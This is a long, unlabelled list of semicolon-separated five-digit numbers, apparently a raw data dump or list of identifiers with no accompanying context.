9;40372;61213;18223;13036;34789;14155;33835;25476;59936;33819;55516;28108;21030;62988;65896;43038;18885;37022;44895;45625;38855;60721;26499;22110;26226;11327;10528;45246;22024;32658;24390;62492;21584;22653;45507;49412;46922;15609;48854;57207;56630;60357;30509;60709;17749;10496;64046;66410;53522;60772;29063;23459;28630;48276;28029;31726;64657;18670;24134;18176;53411;48570;61524;55917;66541;52382;25559;43142;34024;27028;22203;46331;63838;33087;51251;44651;39221;36605;26317;41449;43886;22937;43057;29396;20059;28849;17834;47061;50704;14127;45577;40259;59535;25971;11382;52653;44635;59506;38373;21538;50867;58272;15325;51334;29492;20960;48174;45747;48383;47102;11037;46449;53015;21226;13300;42375;11730;23877;35569;21007;24687;34066;27672;31231;56102;55400;38760;55789;60585;48811;13069;55306;44414;50853;55834;50950;17637;18421;53716;23325;65973;52191;48640;38050;16374;59123;41433;14379;46226;55859;17057;32179;62678;62279;58133;35156;35739;30910;25862;16620;17989;56086;39684;52356;23620;41384;10492;46561;36896;28527;34621;46839;31446;63114;17336;33978;63696;57393;40414;18442;22374;50265;30849;58937;21870;42833;26678;51226;34273;31366;40105;19559;59469;34363;38477;29915;10268;36362;21771;40188;19387;41442;52809;12235;40209;59134;62246;23204;61370;42494;54698;43086;29789;49710;15898;61995;54592;12444;23285;42106;64668;50098;23201;38968;44479;49130;40254;21858;44875;10392;43716;65781;44423;65190;44123;51124;35367;20316;60319;11021;65138;55640;49954;46005;29071;55322;16313;46205;51710;32981;19355;59850;60117;30972;29444;54926;59723;39015;25312;19490;54058;61158;64926;10673;63004;43687;33319;23625;42677;37753;61864;60737;36932;50884;19774;27393;23855;27432;36660;16221;22558;66921;37251;34773;57328;47119;40280;52219;42449;12287;58575;45074;12839;13814;38804;31773;12015;28424;39590;27145;58702;13537;58462;53240;14786;42138;51323;63894;15748;62968;32164;49071;17713;65573;63643;22528;56009;38506;61118;31617;24616;45768;24511;37845;66813;38412;27716;28151;56567;64799;29855;41945;44181;62309;23453;30547;62773;22174;18332;59957;43425;31792;60603;52133;22525;18991;63446;66647;63980;11702;58679;32697;57723;55095;54790;36982;18346;39996;66928;64660;44048;26735;59891;34239;40592;13311;56932;22289;53286;59428;26324;36805;13862;35895;34142;46860;46585;63381;42299;23786;54723;31471;20113;23449;38220;36695;42984;25656;18483;37281;20569;61528;11066;52960;58568;10911;11337;10573;60670;55587;53683;44505;25025;34872;12928;30072;25146;28962;51352;57659;46386;41339;14713;16827;37978;39575;53026;16098;49580;55024;34344;55885;65226;55726;34917;24761;61258;52891;17671;64723;59049;63861;32295;59792;26343;27278;52907;64774;25985;54495;54260;33335;65555;17085;46321;38478;42297;37500;53927;47407;12111;24559;52829;59736;49945;66574;16501;30991;33442;49566;61376;13227;66556;43701;24676;17599;57144;15970;56168;21280;59910;53622;14897;18823;49759;38446;36319;14596;32784;28896;14511;48237;36920;15699;13090;18348;60614;44614;19356;13726;45516;13696;15222;52441;56984;25406;12232;60570;35900;21392;45595;41987;20130;34192;39787;14332;55626;49110;23624;40830;52492;26345;13464;21054;26501;26084;19654;16923;46109;36761;26687;62762;25609;29109;61372;16315;37636;28225;57487;18226;13997;34669;31706;19074;52790;28025;63969;58209;56568;57021;50794;42558;15444;29187;54812;63495;28671;64096;27908;64653;15734;58698;16220;14551;34233;21328;49729;60200;31181;38535;14720;50006;35002;53884;43232;55399;22023;35199;64781;62519;61318;30126;55527;53386;28286;13268;35138;59822;42263;44522;37730;14974;27973;21248;49779;37366;27549;19597;36288;42785;27398;43394;43736;47638;28384;42113;59006;26012;51538;39119;33168;58616;24455;53124;36196;60064;17077;14658;37656;53236;27987;50690;60171;65825;16484;14670;46519;44454;17791;17445;55285;61127;57143;21214;12906;15780;56723;24491;40311;26974;43881;33450;14787;12804;27256;32593;61977;65544;14399;18993;34347;22391;51955;23395;50707;58540;31423;23621;50049;16291;56535;45604;59203;50919;43906;36594;26070;11290;61037;41515;61733;48647;44313;36612;64941;61989;30725;13049;35537;25235;24636;40977;32859;47846;13753;15878;15196;37503;60855;30018;17171;47270;59027;11026;46430;41841;26444;47378;60484;56493;64342;15109;34367;14733;56754;26938;11985;44750;52739;61747;40129;47386;51321;30897;14013;53474;26021;38161;10970;56239;27533;38798;54387;14303;33571;12921;33587;12503;23784;16443;44427;57549;43145;61310;23097;57175;55208;26448;30417;44018;59534;43872;51202;60618;26465;24685;33584;11714;46667;50643;20831;47111;51975;14337;32591;46358;36527;10947;22782;33384;15095;52180;34851;66126;54203;34149;25160;60383;58842;26138;60044;52944;39820;51925;12736;44553;20387;13427;24057;41470;32966;37377;52954;56649;15676;66950;59041;41281;59047;60336;38995;48287;61423;45817;29854;15621;14985;28989;52808;21052;62399;24602;14092;36347;50631;36673;38194;49833;35888;19154;61013;62289;46576;21831;29435;46659;40391;12536;58040;61701;28408;66255;39601;13071;32185;38309;46384;49390;24114;61869;48773;53955;62316;66119;40239;35572;24917;63349;19846;33715;15268;64544;47028;30968;65664;32235;44071;45162;41880;14342;16655;44037;29285;47066;44625;47298;59338;24992;47668;17717;38580;10666;65401;25418;55403;43522;14795;26449;48689;18690;28081;25948;45363;55733;46152;20900;32692;15688;17174;36035;65351;20304;28471;25250;42082;35306;46666;40332;34572;11474;50411;26953;33678;49982;28838;26643;35550;50544;45795;10913;26017;33375;63543;43723;31780;27349;51717;28587;41759;62805;35686;64298;42267;21937;41498;18983;57878;65289;47136;31538;33699;64712;43051;21574;13692;11757;29834;44573;14184;53778;42541;13282;42094;42652;43751;23652;15899;31527;36504;51485;53727;43102;38382;30312;18852;48742;15389;36601;40235;49304;27686;51186;18895;16349;35602;41185;12673;46909;13253;22485;45906;53707;32985;35026;36345;13333;48940;28655;40737;16297;23528;37362;18657;65567;65261;20149;45517;40252;12584;64764;48916;56005;42857;62619;26373;39620;34310;58880;22012;24938;65200;53515;66361;65911;57685;64828;62506;58072;37485;55077;61874;16248;17710;29632;59923;65196;60467;14604;60385;64056;22456;43471;39027;35800;55175;24255;47063;38593;54551;61148;28978;24222;66299;15541;12399;32910;47441;44998;33170;13750;47728;32197;52578;35652;35581;28026;51235;51074;25877;60842;43829;46559;62792;43753;22963;64596;18443;19764;18229;37416;38758;30142;62146;57504;50907;14187;51528;35552;47258;36623;45305;34421;32339;65071;66226;10859;23963;46878;56002;33501;47861;49532;29971;55664;29065;15597;23198;20580;32399;21379;23555;36135;40302;41631;15102;38763;28118;35324;61764;56219;22721;41090;13719;25908;54041;29043;13446;60863;26162;59201;43794;56415;26656;24904;15677;66851;63493;30573;47095;39250;53315;32038;50823;14809;27122;26022;54335;39189;39182;38534;33879;59245;44729;31155;34771;38547;66391;26150;63828;15620;50259;35679;20871;61556;64184;26201;62836;60371;59372;57552;19689;52166;58521;18160;34460;33064;38574;66611;62764;51542;44183;29110;47794;28539;13704;20626;28334;64301;38748;47689;10670;19453;21011;56133;41328;37760;28074;50759;63927;58874;14174;65939;46558;37092;13033;37535;22998;51075;38916;27270;43260;45281;15674;16509;54940;26798;57075;12439;60098;12471;19875;47715;32978;44452;44114;27474;33542;55178;57656;20805;65447;45638;35633;17272;55902;29008;45463;50123;58665;53502;27492;42411;25750;30095;55402;41828;51930;35722;17376;11649;28430;58608;51289;59728;36010;38449;23941;33885;39100;56937;22784;34164;47359;18512;17504;49270;16200;56419;66827;33742;15506;22807;17625;10273;27501;15794;31661;33803;45789;43267;44272;60209;47297;51388;11063;14052;48721;32690;23320;37397;19409;52991;11658;50314;46220;45180;27829;43333;66242;49220;52712;34710;42260;66349;14076;45169;48505;38575;18978;54503;62368;26440;54064;34064;61888;24275;48950;33077;55380;59785;16765;29001;28548;52733;46917;35454;53231;41094;25137;17689;20819;10296;15138;33539;38829;64851;18389;58030;45426;29532;62035;48683;55811;64389;55415;54421;43578;61577;51375;12120;51458;52283;51778;20300;42117;44956;31102;52573;23244;22267;41812;26862;66635;61253;13633;21001;21842;13617;30762;38551;51221;33506;59071;50227;49225;36397;27966;30636;38632;60264;27077;60097;11054;56361;21905;15921;19937;49228;30974;23059;49326;38199;26208;18518;38903;13953;66940;15418;11131;45551;31192;25627;43914;38337;35253;11469;46438;26709;18951;42977;56873;11758;33832;44434;54036;29913;28145;24348;57110;39023;36140;18497;46317;22078;56578;20843;13847;60873;36552;39891;64755;20689;11828;29596;56051;60170;38838;21274;31104;54513;54720;48814;16464;12458;27097;50518;21022;42615;60864;46235;35428;57961;24425;34956;56097;52680;24313;62470;63066;11396;43490;55330;21362;49343;22502;44301;53603;57480;33138;34056;62338;37333;33299;32536;56132;55662;49611;23005;44320;39006;26175;12977;38729;24874;32948;38379;48862;41525;12118;41888;24277;40054;52677;10491;65752;15858;48229;25800;37407;56397;12979;12457;34044;48216;45099;53538;33946;42742;37703;37932;31243;47248;65699;40212;13913;18772;56247;26992;29272;29329;28411;60410;57429;20602;53783;48461;26124;42739;59772;60512;63964;43417;14153;18532;14406;10555;24593;59547;14998;39517;49725;55190;23580;61119;46293;37504;64181;31037;54909;39472;18283;39455;47447;24252;43181;27812;21175;28463;31158;55110;60122;36003;53838;33165;39703;40482;63667;10019;64748;27135;57106;58514;60137;60299;30315;64692;25419;10923;58939;51452;18121;45739;36457;25344;12820;40298;45388;43652;37619;63415;66451;42080;58723;19163;26205;60568;55901;21510;63204;59025;38941;64994;21302;39618;54209;26893;16240;47050;63819;36281;36270;55680;32739;51802;20864;31230;21140;39001;23188;47439;32503;19824;11984;40849;60096;47272;47847;60287;31035;21555;49698;46745;35927;53559;54993;47584;57013;29167;38569;26919;63979;20257;44374;11779;27161;26469;16709;30576;48920;65853;30324;45134;22326;62345;20120;40194;52295;43713;58544;32618;34898;26811;52422;50432;22870;21727;37020;21032;26609;10860;54157;45847;21522;63092;26274;45330;32002;19273;19146;44571;47222;25296;46267;32590;54768;19410;42910;26848;24070;33927;36553;28782;12807;13976;18684;57039;42965;65702;41293;62306;30959;60080;59090;39988;48167;19460;32596;40939;30141;58783;40810;46357;12246;13032;16980;14085;29837;27723;35272;44778;10526;16624;55227;63538;41815;26778;12620;23348;43819;58347;38831;38710;65993;41680;30527;53880;55355;58265;18333;11588;31641;40911;66707;50568;53519;66920;28370;35364;22923;66603;41752;21365;18831;61521;12427;11506;14906;52865;46404;60263;60014;11518;27677;40257;32684;15427;31679;32492;32527;15417;39325;21966;61058;21154;55730;10833;61731;26335;31545;33871;48731;10119;10377;11667;39908;60786;45890;60397;52051;58200;66001;50308;10763;61330;14032;35396;47538;46002;49589;37521;49151;37668;15874;64458;61432;61527;30368;20914;52459;36216;63116;57606;62871;52262;40301;64020;47850;43172;57729;41696;64950;32116;66975;32849;37653;25011;53645;24254;45684;55710;43321;28819;51338;40050;50770;52272;51242;23950;53216;19255;18366;66558;51301;57036;49334;59148;26647;18205;42415;19618;23301;54013;54750;39441;63025;20785;38462;38628;51819;34308;60253;17670;65397;16377;22962;11395;11666;46028;37884;22691;49015;27137;37374;12690;46374;42125;29303;17300;29965;30294;53722;53752;20994;13091;38871;23923;39279;37569;13583;44806;49857;30495;36828;42947;13857;20504;56463;51518;66570;37903;51038;19260;56658;35289;26237;56963;41692;19891;46823;55074;22034;19785;41753;14444;56681;13579;16264;66774;47462;44238;13593;35806;53689;48225;61958;22769;39783;18961;42230;51903;66820;55909;15537;22803;41461;52506;41890;57176;52981;40092;47488;10450;49414;16821;25710;41993;31800;32332;34965;44338;52224;40788;24569;32738;40572;19790;34868;24686;66138;28506;64782;48551;41784;26490;46389;38849;40012;31295;54429;17587;15907;37447;18362;13689;43722;42110;49632;54271;58159;43666;12300;12858;42716;25791;61919;64254;35610;63249;13892;56150;32317;31863;33647;15112;53787;34353;44709;61178;63153;24007;35033;60297;38645;14063;37705;43159;39981;43166;47262;66357;18821;56206;58077;60657;36263;24627;62580;13278;17014;17789;57177;14073;54102;13747;39110;13447;46289;23700;58354;56670;24015;35455;46751;64208;61131;29591;40004;53019;21864;33136;20952;42860;46639;14158;24869;52626;30783;21082;17225;14363;48173;35388;21401;43454;28476;65183;47178;32873;20818;27803;54448;50061;16480;13016;25377;30253;51576;65055;38541;40237;66776;27295;42399;44765;60866;21855;37580;19148;29085;60013;19167;32976;46758;24954;63175;45105;42186;14374;52766;24967;40878;38074;56925;47624;36439;40462;39481;44513;59045;54742;12901;63923;45576;48516;10730;63773;50368;42518;56859;52408;18997;37097;27346;30800;18217;11440;20872;15554;56928;26683;31042;28406;17152;12864;44980;64768;41133;49961;29966;50042;29384;32013;14823;55248;21205;58071;22631;66339;33596;48601;29301;21834;51707;52953;22650;40631;46216;16909;16963;40655;30199;30390;43880;46164;43556;55636;51325;63876;46101;12338;45803;54879;49156;50753;40431;39444;53581;16329;49369;13379;27958;24304;56187;65480;11478;50730;11088;63856;65435;64529;27876;54033;25360;46330;35912;40725;39055;34561;45864;62538;17773;30035;44346;34974;35505;42676;65442;29430;21269;52245;54110;64402;36143;35139;54494;32568;42016;44126;13560;44817;50083;48246;11418;39778;35908;24422;15976;48953;36318;40369;17038;20210;58748;42550;48460;25398;30609;28499;37533;27595;60529;41069;24291;46465;37133;39071;15760;64882;37881;56893;20680;53638;37345;32517;32040;25341;64393;34944;59493;34148;52236;56944;25855;21904;45335;44160;55663;18507;38081;55044;24908;56609;35319;56448;29975;14278;39235;27956;64493;55315;47821;40873;10800;47588;50561;59135;17486;62748;15540;17294;16532;63971;16747;37818;63451;62412;29797;38596;30300;27588;61885;21291;20481;26450;10437;57812;52081;31514;51935;11125;60694;39391;42322;54155;64889;28561;42535;38883;52785;60859;58446;44642;30934;47867;34479;14992;55945;23731;34206;66476;47214;30695;20013;20606;31128;62713;46043;32204;19570;63970;16449;10989;62534;53774;41810;60942;61583;18329;24012;50782;52252;51255;17566;35423;41062;52946;63230;44768;21894;51098;42032;21128;54267;45011;44294;63155;66271;34046;11724;61171;21594;16840;45468;18437;33090;26607;46300;65108;62285;52889;26702;13326;25817;63683;63992;39122;53924;24507;29054;44866;16294;60985;63085;25578;21649;46411;55546;62511;10412;25015;33499;24319;46707;11646;60983;32066;44760;10369;48543;34518;40952;61514;61313;66596;28783;45537;48905;66908;61324;57709;45586;58688;53521;55776;65441;29199;62118;36133;65068;16077;22891;31263;61001;58096;30301;36883;44391;38278;66044;19062;19676;66017;60778;27506;59062;53486;16378;49637;24791;52832;49383;21940;18745;39398;56528;31027;15239;44716;31028;28593;18729;15800;59343;41921;43989;41954;35314;41345;62482;23346;42424;22235;53602;20204;34912;56037;64009;37456;10846;15595;20479;30409;58419;62552;21228;18166;12097;54180;17645;44795;16393;43083;24757;36860;49554;52791;54673;12205;16201;61492;16403;11212;17278;56688;61721;27541;49182;54153;62984;40366;20951;12589;15419;63508;61735;62610;24800;44531;58006;62563;33265;11331;36840;56425;35966;51918;49865;38275;15664;13875;41192;51383;62353;33515;42134;11154;29891;46324;45682;45165;53093;58282;51758;64648;24544;38242;35574;51535;24664;17737;40198;15020;20341;27654;12601;58327;17044;59918;37273;47826;16870;17736;64248;33850;59108;17707;38606;44610;66372;30329;46020;29293;31838;21006;38518;34927;35125;19385;59298;17117;18330;15271;31464;26215;10689;53888;50275;65628;17177;43790;56191;36248;18865;49987;24234;33935;20617;50462;57828;46669;23032;46047;65761;26379;15149;32858;36479;52353;58010;42520;39881;45049;65128;56697;51976;21664;25858;13337;61666;18843;21516;21906;44772;66130;61678;65857;43933;11431;30631;64743;34593;22404;64012;16873;15340;42657;13562;58712;53904;25932;48725;65969;44554;13978;14460;55700;12728;52250;33643;64073;38814;14101;53429;50694;36131;38690;18679;25229;62819;56212;59555;33821;32016;27334;15986;62938;22208;40464;26472;61499;57226;28359;31047;40090;17309;44796;55618;66336;23293;28212;30658;63120;62879;52418;22576;13484;35242;62430;59456;33206;13844;48467;53881;35132;12598;65093;64490;46996;47088;29302;57344;20883;12058;11848;22177;51399;55762;21561;25258;54419;18687;63889;58860;41990;42143;35775;54011;35897;51831;42139;60510;50740;63624;28123;34776;16710;44700;18319;13554;50499;53892;51184;64903;16847;15602;65789;14423;24810;22426;44086;56303;34087;39012;28658;66676;42034;44543;23561;28303;57054;53510;35058;27098;60869;37797;42035;16735;41152;51893;37226;53981;40970;50246;41559;52852;51654;17441;40038;20470;43380;10017;45622;62230;44360;42978;35787;43565;13024;50945;36209;58819;29357;41341;64124;36750;56708;27223;59828;53303;17236;47856;11348;13352;40323;47253;56000;22618;10568;66313;35920;20305;52487;39495;38053;30194;55503;59666;24297;36370;62495;53928;62981;62354;56048;26361;66658;47081;24224;36827;19264;21170;10316;47499;65738;40641;59504;15093;14233;39175;51231;54228;46451;29408;46622;19581;15997;19975;42296;44898;30216;14049;66273;33735;37566;64909;54480;14188;32483;65590;64722;66427;46913;19050;32514;28903;23262;18563;55062;12576;10935;38922;55484;55386;27475;12209;47770;66431;29170;48439;58300;54595;34752;62681;18314;62704;38522;48451;18587;39940;52679;42537;54851;40513;19806;48774;20515;60026;51020;24849;10580;66910;34137;57174;49381;19593;57919;28442;30010;50241;47710;10823;16607;35692;45257;46228;50127;23970;18370;32444;64877;20974;53013;30545;47647;22306;19092;37923;49624;43680;41830;59640;62378;30340;66831;20489;65905;42824;14913;35305;22935;15902;20402;60413;36624;30064;62890;60978;27885;56001;34653;58751;57451;38094;17813;52509;11602;62643;14718;35149;48951;20505;12034;25345;51155;43503;53958;62882;31453;20507;54867;61724;36309;44417;35534;29321;16431;12346;18971;34999;34038;65912;53120;24362;51739;36364;25701;13332;33015;66563;46834;21264;64932;58191;20935;45365;47580;28659;27002;26942;41001;21605;51617;14579;54783;41819;17787;49158;60199;63535;56122;28446;14963;52208;26466;33689;43177;38540;58998;13548;11686;33278;55172;49605;48650;50647;48466;46985;37901;58317;34089;51199;57896;24219;22412;44197;28901;57795;64908;55356;59323;53068;63623;38579;40763;22301;62815;66315;56359;12432;16486;59820;40735;65338;15796;56165;60024;53059;31269;60893;14686;37855;33505;52075;43395;62775;18018;66046;21492;44450;54641;27526;29238;43127;49817;24805;51354;42261;29844;29795;12863;12055;44378;44365;58231;60305;12695;41306;35681;61224;29405;14274;38281;54412;61846;24701;22076;22508;61464;15433;66882;27781;35917;18282;19887;64165;61461;62540;23928;49079;20241;26736;66503;63258;62682;44880;35669;25934;27148;58801;35170;46798;26485;38101;24283;60615;60061;22705;43810;35903;64628;24078;63841;35096;20758;50296;41541;37058;52255;47737;51523;41199;34584;64867;32429;52521;46993;30167;61389;49106;58548;23326;61667;57596;57764;14288;39598;42542;30184;32059;64469;25002;44228;52281;28492;33082;15127;61063;21120;26161;37142;42171;45230;17247;18833;14594;48154;50194;65966;53457;15231;52697;64627;51904;28390;21724;15350;35604;23919;30426;16568;26217;18695;10428;20043;19552;45764;24629;11636;60952;33652;29352;32280;11765;54282;58518;64264;23777;64726;34153;27127;43140;24804;18228;58648;10431;20431;11070;55457;55015;42095;35576;56738;42058;33154;64161;26789;39034;37306;39543;49726;18812;57305;47450;62800;19230;22117;10675;12581;34302;21691;54072;38148;18720;28569;21733;20757;14968;35683;63447;62910;61700;33846;37821;27522;14135;38877;54314;57281;12726;11392;62501;36405;33213;36579;50287;12336;10514;66009;45605;65779;32036;28583;54633;31108;25530;52582;36557;38681;49784;39388;12089;48416;56659;25400;43224;46052;30094;44847;43699;26377;28288;64865;65583;16858;41930;30287;18050;12855;37574;46600;27124;32553;42994;44696;28991;54475;45100;28851;20002;32795;63032;33645;29091;65630;42464;63039;31557;33604;53643;53781;27935;62277;11857;66029;42689;47568;13107;50926;45582;18873;28447;43019;64233;36358;64305;19002;33936;29612;53400;52958;55525;58642;60606;52157;59709;62154;21911;14541;56373;43766;12383;21430;38811;23707;23876;65047;58803;64863;47210;15121;40799;19740;53089;62760;10464;12527;61242;31438;14397;52364;34911;51466;10118;22844;26439;41543;33349;26451;13401;25594;31372;14751;18784;51645;44096;25526;50562;22127;38897;45223;33268;36265;66487;45166;13477;45650;18940;21944;27583;53293;66957;20925;18382;61782;45208;66677;24013;32735;50279;18775;56384;30699;49888;47244;56920;62855;28061;47676;63808;43602;10360;33440;30262;46162;42220;17251;64509;57998;40856;38762;53144;23403;63217;14851;22488;45448;11248;38376;24796;27765;39465;30807;30839;63671;24558;13516;39576;33623;62657;61089;46061;37342;36490;64737;24682;61924;63016;63394;50333;22743;13179;18019;28566;22965;58753;57019;52333;38869;28575;38820;23562;19639;28617;37127;35954;14413;52719;50683;21633;26460;47535;31050;41052;37207;48455;55537;12828;24879;61095;20876;42650;65530;10481;62721;53866;42971;55055;11885;46799;54823;19615;26642;59074;28090;14907;21177;29841;45189;49013;16590;37431;24464;45599;13711;16284;41368;61998;44563;40402;50795;34128;58935;25205;62105;35283;27118;31500;55251;38184;44788;41011;57446;59804;40835;34699;12688;33769;52480;21748;47669;29668;61027;18603;28725;27705;22601;12023;55147;48274;14330;25294;57749;21200;11408;66232;30375;17202;29336;39422;33548;19748;53141;33180;52777;39980;41443;41506;54612;12225;57277;29105;45104;10926;49839;34326;22903;39111;11889;27644;29666;52478;52147;14749;18966;41208;47187;42908;20918;40260;41139;36513;53696;48210;55523;53335;64153;23020;27140;49078;63720;58690;56459;14212;21699;17505;35687;26839;51253;29631;36849;30824;41765;31756;44965;41508;41606;62418;27838;22059;56798;27087;54686;10934;26976;42407;52168;44376;29703;32572;62374;33058;40596;21261;40243;51992;46679;28354;30032;64690;16653;34840;31750;63263;32489;53337;59032;17021;40547;27111;52235;16530;23327;58288;64062;37776;43424;27611;39606;32210;27159;49404;54697;38311;53234;65282;45406;23718;65019;36039;13312;25302;28271;64543;43572;43787;54080;29143;40443;55647;30153;15698;36240;25414;33179;33481;14799;48436;36110;57856;66106;24018;41932;62739;60767;36902;52618;29674;56594;23872;41677;51997;23310;20686;59371;39722;28879;49783;40381;31474;33010;15090;51479;24092;26359;23263;27167;39663;33016;66848;52554;56108;59932;32414;40853;27903;10682;20227;34327;39142;15411;13039;38699;30639;53401;56177;33150;61526;58264;65227;57960;42801;23960;23484;63523;24588;62647;13838;15357;27659;16373;37960;26347;14855;10942;12714;15980;50701;35623;45446;61302;14041;65689;19623;41337;52016;25440;30817;35771;22761;65594;31513;36261;22929;40734;36645;17996;52204;50964;63345;30710;53836;38706;30482;60236;30121;50124;28681;33863;49376;31741;13452;62693;20719;38725;22009;42682;49190;57468;51693;40423;52331;48488;30092;16941;18216;64847;31671;15873;51784;39614;60023;55510;34246;39214;65415;35672;13830;12902;49981;46007;16603;27180;56566;35466;28933;52358;49798;52363;48284;17831;42923;55559;52901;64911;25392;28610;66694;36127;17290;11215;63275;35750;61141;35118;64542;35419;12408;61772;47699;18237;43665;21618;30612;55963;40760;63198;28719;37867;39955;48168;53726;30787;47266;62515;65996;37698;32236;53447;30446;62842;19112;25110;53434;60403;50165;52906;16252;28891;30283;24942;23728;26718;61675;46965;34646;23639;29987;26960;58626;49087;22838;57954;25582;48801;51272;63550;52282;61909;25180;42367;61906;10796;21854;25619;51827;35632;17435;47674;28733;11324;57211;53987;52805;30366;10083;50808;13486;16309;37394;54987;30790;44560;43047;55851;20418;44518;65974;10943;12518;47161;49996;49585;51133;28606;25990;26785;13382;21265;17781;24723;58814;18169;32183;28649;57098;41723;18944;20644;31859;43963;42017;36974;39125;13409;54067;64171;31076;29587;19245;56066;49859;38350;57986;48632;59717;50077;48934;36684;16345;59835;50235;53106;23513;31167;64638;22337;39579;63548;29513;37554;17423;51616;65389;32388;25904;63157;53666;12942;41948;18781;39308;22419;45436;20119;36780;34017;47350;27019;36506;38776;44329;62215;59815;32155;27964;16721;24085;20916;54418;61656;26297;64674;53489;36967;14666;47413;56375;34320;18555;34294;65823;13434;28608;55602;44000;19996;50638;60367;18805;13650;64361;63993;55244;36121;26599;38095;50825;20767;22221;56424;59335;64227;41015;49293;49994;58726;13272;36507;40135;41190;27897;47815;57939;54057;22686;50335;29732;24775;30767;40872;24166;14770;17520;49464;53338;51410;31141;32571;49819;41298;36766;22340;29368;14377;49402;19791;51002;49971;45056;56321;54623;57573;58114;15434;19955;35852;19590;17998;28115;13192;54941;61003;14622;29222;53229;20732;46946;53104;58173;24721;37183;21131;43530;12953;46586;12219;26541;47351;35025;38297;63018;44142;55292;38630;58634;26480;17402;36205;45736;38730;41484;35880;19390;63996;40253;45833;21985;28555;29264;27511;49490;35556;43084;32733;33875;52392;15208;37721;61604;23154;65085;53929;60183;46029;20838;29988;33530;20380;41177;58822;10761;37023;31813;42523;29134;13429;30704;44354;41521;16000;13979;54105;49033;12350;43485;10469;55270;62330;33187;55165;62059;34068;56969;51680;60581;61103;51752;34755;53993;28777;41964;39535;38848;16679;35685;59755;19577;28534;18238;34383;55654;45130;13536;38471;28568;63860;13889;41002;46633;11334;25036;19681;62213;39503;38745;65720;60650;47394;12647;60925;16984;63594;55783;61112;53230;42024;37099;55161;38832;34482;18013;51730;46540;31610;16134;24232;64937;64771;29586;41779;22178;39097;13373;13283;16600;34014;35449;32181;15670;29949;58673;64976;28216;28523;34124;14084;40559;22423;41428;25483;52748;37850;18962;15758;49746;38549;17742;57217;55678;63687;27136;42476;33940;17741;36359;14634;29097;52526;15375;19099;11685;30314;28570;15025;21176;27375;54692;11347;62712;15848;36618;58543;50406;12885;14888;58569;51256;35566;10847;31278;18365;33789;42572;53153;45264;17819;59035;14287;54998;20359;32440;49086;31256;18877;45143;58043;22598;17301;62089;63375;40353;63358;16281;15074;32041;55368;20704;52636;14592;22319;55716;53287;22794;26802;51117;21545;17603;12799;64741;41388;29778;34622;66146;45198;24050;23879;51128;29361;34638;38711;64667;15924;44804;29284;28683;62101;54870;36251;27732;60398;27678;39534;46697;32047;58802;38020;37686;63960;29457;55632;24345;27508;50171;53824;54902;10565;12355;64459;26231;64421;35769;20289;10380;66632;64951;17293;60288;57821;54890;64059;60148;54963;27874;37426;17658;51470;47174;11110;63163;60794;53060;24827;28582;66550;15182;21647;49666;41294;60518;12049;27054;34745;62750;18658;64551;34855;34808;29118;66886;37349;35249;11756;37152;34715;41019;33561;65488;18660;39747;58221;58951;22801;55653;40515;52015;58171;56818;51134;64553;45155;51570;31943;66096;57953;23093;60074;47544;66674;11847;64082;25469;36790;32909;33322;51065;19280;17013;11383;44214;12431;57551;61167;51443;19500;27222;29680;10644;22093;65971;34016;26812;23023;49115;53833;25845;40352;26158;18930;25017;56741;28272;63299;19363;17723;34826;61790;25962;10632;33666;57744;62874;57642;18920;46042;25623;32575;18257;50881;19141;34687;22344;39919;20447;12742;26362;34120;58875;37515;63214;31190;15571;40459;58185;50473;23990;26742;44213;38923;16836;46032;13197;23890;15823;12524;41653;12498;11515;47217;64823;39080;28992;52813;63352;28186;31760;51818;18769;29191;64188;28057;46655;15739;64907;58140;49871;41769;61743;52794;20776;12384;34287;36049;34922;65596;16828;22415;60022;29456;66880;31121;26247;62274;28924;20911;36095;11593;65586;38042;20098;52095;49097;35069;32834;48573;64089;65078;36670;26872;19963;13492;17634;13028;17533;30691;22585;48631;43028;29261;42079;34116;35972;30584;17173;24251;63271;25602;37415;43469;31449;49718;42310;38254;15234;35065;53630;38818;38939;64538;21099;35478;36029;46589;13702;23237;30615;51629;56800;42149;61045;59455;11487;10538;52423;40852;29310;16488;41793;40234;13658;14456;64831;23089;26879;14068;46428;35661;41909;52761;45592;53943;64021;11603;51126;33782;13903;44736;45493;50482;54074;11743;36796;24417;54251;20636;64830;28317;34800;65411;28469;37093;55336;51874;17415;29210;52917;57183;14867;38846;16544;15438;54202;48812;45124;19514;39611;53813;63807;30361;12341;66419;34354;32956;11107;43808;57760;47199;22285;60668;23530;44371;40430;57771;13322;20222;25411;57457;12859;39784;44097;56464;49213;33962;52824;14927;43900;45748;42496;48345;47884;14605;15927;30478;50979;37068;36656;28495;65726;27842;61438;14556;33984;61531;19345;31904;34109;19606;26312;34514;33503;41353;37000;18822;12362;56443;14580;29725;41652;58517;25220;46506;12600;36163;59737;33401;32327;41376;21694;38552;56840;29994;31222;40060;29796;49128;11769;52013;23309;37318;57711;62722;41194;30682;52088;59236;51019;32621;59461;26984;52159;24437;29465;45019;58738;38787;51956;45322;29295;52239;63646;48910;17428;20737;51366;33148;44547;44467;34368;61927;34536;20584;43570;59707;45387;38189;42556;21136;31678;14410;26352;25069;22624;28375;16837;54358;65757;16054;65983;11161;15409;66438;56677;60175;20825;31490;26125;55408;17541;55921;25188;61099;56152;21916;16169;19462;29338;43568;42876;32541;26151;14902;40534;48847;40663;19550;43491;57236;16969;66624;39627;40472;56885;43320;19485;66360;27847;27709;46046;60466;50905;37403;24717;56672;41138;49349;56526;62907;53382;27604;58895;33910;26969;12660;51828;40350;53834;15486;25951;50233;46294;54408;31386;42747;24990;10802;15512;12803;46265;32237;52400;32937;26427;29879;26331;60550;28395;19921;59805;12426;51732;53897;20707;40276;45487;58459;50426;66830;17413;65461;57292;52237;41861;23045;49361;37600;61248;66763;42532;21951;31696;61816;13902;13859;26583;61071;60215;38372;23417;48819;53591;37123;23785;17841;36400;21721;13771;41413;13954;63989;31130;31632;31139;13855;45655;57269;65945;50388;21035;57808;35790;41197;18592;23299;27397;57358;62062;62547;55341;31277;34742;24117;29427;30488;62578;48249;55854;20261;44474;13782;46966;16339;42564;35001;43558;19667;66421;34698;44029;32576;54679;54354;40314;18413;51878;22004;17318;41127;46333;56790;26999;33500;53847;15075;57546;45025;49775;28544;32866;47717;26686;10936;42454;44033;50125;20854;60762;42444;50999;35447;20544;42039;43584;47155;13786;63274;27792;36034;23630;10282;34603;63424;42300;26582;20476;49109;53264;33387;35522;36328;39974;22143;66386;61986;26182;32669;44283;21110;49083;44289;48266;50879;33598;48933;51630;45648;48806;48813;45065;53660;11821;41982;58086;22438;42456;18318;50796;35218;32305;14772;50587;41727;11213;45286;24412;66074;30730;13897;14168;11457;18591;44645;63506;11737;36421;22291;65637;63017;37969;37839;35507;1